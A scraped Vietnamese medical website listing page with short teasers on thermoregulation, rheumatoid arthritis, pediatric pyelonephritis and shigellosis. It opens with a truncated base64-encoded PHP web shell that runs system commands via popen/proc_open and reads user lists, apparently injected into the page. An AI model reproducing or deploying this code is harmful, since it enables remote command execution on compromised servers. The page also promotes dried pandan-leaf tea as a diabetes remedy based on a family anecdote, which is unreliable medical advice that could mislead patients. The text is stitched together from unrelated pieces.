2VpZihAaXNfcmVzb3VyY2UoJGYgPSBAcG9wZW4oJGNmZSwiciIpKSkNCiAgew0KICAgJHJlcyA9ICIiOw0KICAgd2hpbGUoIUBmZW9mKCRmKSkgeyAkcmVzIC49IEBmcmVhZCgkZiwxMDI0KTsgfQ0KICAgQHBjbG9zZSgkZik7DQogIH0NCiAgZWxzZWlmKEBmdW5jdGlvbl9leGlzdHMoJ3Byb2Nfb3BlbicpICYmIEBpc19yZXNvdXJjZSgkZiA9IEBwcm9jX29wZW4oJGNmZSxhcnJheSgxID0+IGFycmF5KCJwaXBlIiwgInciKSksJHBpcGVzKSkpDQogICAgew0KICAgICAkcmVzID0gIiI7DQogICAgIGlmKEBmdW5jdGlvbl9leGlzdHMoJ2ZyZWFkJykgJiYgQGZ1bmN0aW9uX2V4aXN0cygnZmVvZicpKXsNCiAgICAgIHdoaWxlKCFAZmVvZigkcGlwZXNbMV0pKSB7JHJlcyAuPSBAZnJlYWQoJHBpcGVzWzFdLCAxMDI0KTt9DQogICAgIH1lbHNlIGlmKEBmdW5jdGlvbl9leGlzdHMoJ2ZnZXRzJykgJiYgQGZ1bmN0aW9uX2V4aXN0cygnZmVvZicpKXsNCiAgICAgIHdoaWxlKCFAZmVvZigkcGlwZXNbMV0pKSB7JHJlcyAuPSBAZmdldHMoJHBpcGVzWzFdLCAxMDI0KTt9DQogICAgIH0NCiAgICAgQHByb2NfY2xvc2UoJGYpOw0KICAgIH0NCiAgIH0NCiByZXR1cm4gaHRtbHNwZWNpYWxjaGFycygkcmVzKTsNCn0NCmZ1bmN0aW9uIGdldF91c2VycygpDQp7DQogICR1c2VycyA9ICRyb3dzID0gYXJyYXkoKTsNCiAgICAkcm93cz1AZXhwbG9kZSgiXG4iLG1vcmVyZWFkKCRmaWxlbmFtZSkpOw0KICAgIGlmKCEkcm93c1swXSl7JHJvd3M9QGV4cGxvZGUoIlxuIixyZWFkemxpYigkZmlsZW5hbWUpKTt9DQogICAgaWYoISRyb3dzWzBdKSByZXR1cm4gMDsNCiAgICBmb3JlYWNoICgkcm93cyBhcyAkc3RyaW5nKQ0KICAgICB7DQogICAgICR1c2VyID0gQGV4cGxvZGUoIjoiLHRyaW0oJHN0cmluZykpOw0KICAgICBpZihzdWJzdHIoJHN0cmluZywwLDEpIT0nIycpIGFycmF5X3B1c2goJHVzZXJzLCR1c2VyWzBdKTsNCiAgICAgfQ0KICByZXR1cm4gJHVzZXJzOw0KfQ0KZnVuY3Rpb24gZXJyKCRuLCR0eHQ9JycpDQp7DQplY2hvICc8dGFibGUgd2lkdGg9MTAwJSBjZWxscGFkZGluZz0wIGNlbGxzcGFjaW5nPTA+PHRyPjx0ZCBjbGFzcz1tYWluIGJnY29sb3I9QmxhY2s+PGZvbnQgY29sb3I9UmVkIGZhY2U9VmVyZGFuYSBzaXplPS0yPjxkaXYgYWxpZ249Y2VudGVyPjxiPic7DQplY2hvICRHTE9CQUxTWydsYW5nJ11bJEdMT0JBTFNbJ2xhbmd1YWdlJ10uJ19lcnInLiRuXTsNCmlmKCFlbXB0eSgkdHh0KSkgeyBlY2hvICIgJHR4dCI7IH0NCmVjaG8gJzwvYj48L2Rpdj48L2ZvbnQ+PC90ZD48L3RyPjwvdGFibGU+JzsNCnJldHVybiBudWxsOw0KfQ0KZnVuY3Rpb24gcGVybXMoJG1vZGUpDQp7DQppZiAoISRHTE9CQUxTWyd1bml4J10pIHJldHVybiAwOw0KaWYoICRtb2RlICYgMHgxMDAwICkgeyAkdHlwZT0ncCc7IH0NCmVsc2UgaWYoICRtb2RlICYgMHgyMDAwICkgeyAkdHlwZT0nYyc7IH0NCmVsc2UgaWYoICRtb2RlICYgMHg0MDAwICkgeyAkdHlwZT0nZCc7IH0NCmVsc2UgaWYoICRtb2RlICYgMHg2MDAwICkgeyAkdHlwZT0nYic7IH0NCmVsc2UgaWYoICRtb2RlICYgMHg4MDAwICkgeyAkdHlwZT0nLSc7IH0NCmVsc2UgaWYoICRtb2RlICYgMHhBMDAwICkgeyAkdHlwZT0nbCc7IH0NCmVsc2UgaWYoICRtb2RlICYgM |
|
|
Chi tiết
|
|
|
|
|
|
|
|
| Rối loạn điều hòa thân nhiệt |
I. Đại cương về điều hòa thân nhiệt
Động vật được chia làm hai loài: loài biến nhiệt như cá, lưỡng thê, là các loại động vật có thân nhiệt thay đổi theo nhiệt độ của môi trường. Loài đồng nhiệt như chim, động vật có vú, loài người, là những loại động vật có thân nhiệt tương đối ổn định so với sự thay đổi nhiệt độ của môi trường.
Sự ổn định của thân nhiệt có được là nhờ sự cân bằng giữa hai quá trình sinh nhiệt và thải nhiệt, dưới sự điều khiển của trung tâm điều nhiệt sao cho thân nhiệt chỉ giao động trong khoảng 36o5-37o2.
Thân nhiệt ổn định là điều kiện quan trọng cho sự hoạt động bình thường của các enzyme tham gia vào các quá trình chuyển hóa. |
|
|
Chi tiết
|
|
|
|
|
|
|
|
| VIÊM KHỚP DẠNG THẤP
(Rheumatoid Arthritis) |
Là một bệnh thường gặp nhất trong các bệnh khớp.
Là bệnh mang tính xã hội vì tỉ lệ người mắc bệnh cao, bệnh thường kéo dài và đặc biệt là các di chứng có thể dẫn đến tàn phế, vừa ảnh hưởng đến cac nhân người bệnh lẫn xã hội.
Hiện nay, bệnh được gọi là Viêm Khớp Dạng Thấp để phân biệt với các bệnh khớp khác như Thấp khớp cấp, Viêm khớp mạn tính, Thấp khớp phản ứng…
Tỉ lệ mắc bệnh cao 0,05 – 3%.
Thường gặp ở phụ nữ tuổi trung niên (70-80%), tuổi trên 30 gặp nhiều (60-70%).
|
|
|
Chi tiết
|
|
|
|
|
|
|
|
|
|
|
| Bài thuốc trị bệnh đái tháo đường |
Một sự tình cờ, TRỜI đã ban cho gia tộc chúng tôi Người em gái thứ 5 lúc về Việt Nam, mang Lá Dứa qua Tây Đức để làm bánh. Nhưng không làm, lại tiếc của, lấy lá Dứa đem phơi khô nhưng còn thấy màu xanh, nấu nước uống cho thơm, nào ngờ đâu đo thử Đường lại quá tốt, tốt chưa từng thấy ! |
|
|
Chi tiết
|
|
|
|
|
|
|
|
| Bệnh viêm thận –bể thận ở trẻ em |
Bệnh viêm thận-bể thận là bệnh viêm thận
do vi khuẩn gây ra những tổn thương khu trú phần lớn ở vùng ranh giới tủy-vỏ thận
và có thể kèm theo tổn thương ở niêm mạc đài, bể thận. |
|
|
Chi tiết
|
|
|
|
|
|
|
|
|
|
|
| Lỵ trực trùng |
Lỵ trực trùng: gọi tắt là lỵ cho đơn giản, là một bệnh lý do nhiễm trực trùng Shigella gây ra các phản ứng cấp tính ở ruột với các triệu chứng như đau quặn bụng, mót rặn, tiêu nhiều lần, phân có đàm máu. Ngoài ra, Shigella còn gây ra các hình thức bệnh lý khác, nhưng trong khuôn khổ bài viết này chỉ đề cập đến bệnh lý ở đường ruột. |
|
|
Chi tiết
|
|
|
|
|
| Trang : 1 2 3 |
|
|
|
|
|
Tin Tức Hot
|
|
|
|
|
|
|
|
| Lượt truy cập |
103346 |
|
| Trực tuyến |
32 |
|
|
|